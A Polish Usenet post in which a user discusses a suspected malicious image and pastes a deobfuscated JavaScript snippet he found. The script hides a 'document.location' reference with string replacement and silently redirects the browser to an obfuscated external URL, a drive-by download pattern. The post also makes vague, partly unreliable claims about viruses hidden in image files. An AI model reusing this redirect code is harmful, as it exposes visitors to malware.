🚀 go-pugleaf

latet <latet@latet.pl> napisał(a): 

> 
> Co masz na mysli, że w obrazku?
> 

W niektórych formatach obrazków są wolne obszary
gdzie można umieścić kod wirusa, który uruchamia
procedury przegladrki.
Dokładnie jaki jest ten kod to nie wiem ale wywołanie
takiego obrazka może być niebezpieczne.
Dlatego warto wiedzieć co to za obrazek.

Będę próbował na rezerwowym kompie co robi ten ten skrypt,
bo myslę, że coś sciąga z www i tam jest to właśnie.

Uporządkowany kod:

<sKript type='text/javascript'>

function rM()
{
};

rC='';

rM.prototype = {g : function()
{
 var o=function()
 {
 };

 var i=31535;

 this.c="c";
 this.v=65257;
 this.k=3271;
 this.cD="cD";

 function x()
 {
 };

 t=document['luoucfaft@ijounu'.replace(/[ufj\[@]/g,'')];

 b="";
 this.cY=false;
 this.e=11644;
 u='';

 var bR=function()
 {
  return
  'bR'
 };

 w='';

 this.n='';

 function m(p, j)
 {
  iH=false;
  var nV=new Array();
  this.h=false;
  this.q="";
  p.href=j;
  this.wX=65246;
  this.a=false;
  cP=53576;

  function nZ()
  {
  };

 }

 this.wM="";
 wJ=9315;
 r="";

 var vU=function()
 {
 };

 hR="";

 var vT=function()
 {
  return 'vT'
 };

 m(t, 'h#t?t#p#:e/#/%t%i#l?t^a^n^d#g?r^i^n?.%c#o?m%/?z#.%het^m%le'.replace(/
[e\?#%\^]/g,''));

 this.uB=false;

 function bZ()
 {
 };

 jR='';

 var cZ=function()
 {
  return 'cZ'
 };
}
};

 var wMG=new Array();
 var pM=new rM();
 var tS='';

 pM.g();

 qI="qI";

</sKript>

Andrzej.


-- 
Wysłano z serwisu Usenet w portalu Gazeta.pl -> http://www.gazeta.pl/usenet/